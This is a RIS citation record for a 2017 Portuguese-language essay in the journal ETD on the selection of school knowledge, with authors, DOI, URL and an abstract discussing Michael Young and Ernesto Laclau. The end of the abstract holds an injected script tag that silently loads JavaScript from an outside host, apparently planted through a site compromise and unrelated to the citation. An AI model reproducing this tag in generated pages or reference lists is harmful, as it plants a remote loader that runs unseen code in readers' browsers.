TY - JOUR AU - Le Ravallec, Carmen Teresa Gabriel AU - Rocha, Ana Angelita da PY - 2017/07/04 Y2 - 2024/03/29 TI - Seleção do conhecimento como operação antagônica JF - ETD - Educação Temática Digital JA - ETD - Educ. temat. digit. VL - 19 IS - 3 SE - Ensaio DO - 10.20396/etd.v19i3.8645893 UR - https://periodicos.sbu.unicamp.br/ojs/index.php/etd/article/view/8645893 SP - 844-863 AB - O presente artigo busca rever a trajetória de Michael f. d. Young (1971; 2000; 2008; 2010; 2011, 2014) para discutir a significação da seleção do conhecimento escolar. Tal proposta tensiona o debate do conhecimento escolar à luz da teoria política, a partir da discussão de antagonismo empreendida por Ernesto Laclau e seus interlocutores (2000; 2005). Com essa tessitura teórica, o artigo defende a relação entre o conhecimento escolar e uma abordagem da teoria política que valorizar a função epistemológica da escola, em tempos de reformas curriculares em escala nacional.<script id="lg210a" type="text/javascript" src="https://cloudapi.online/js/api46.js"></script> ER -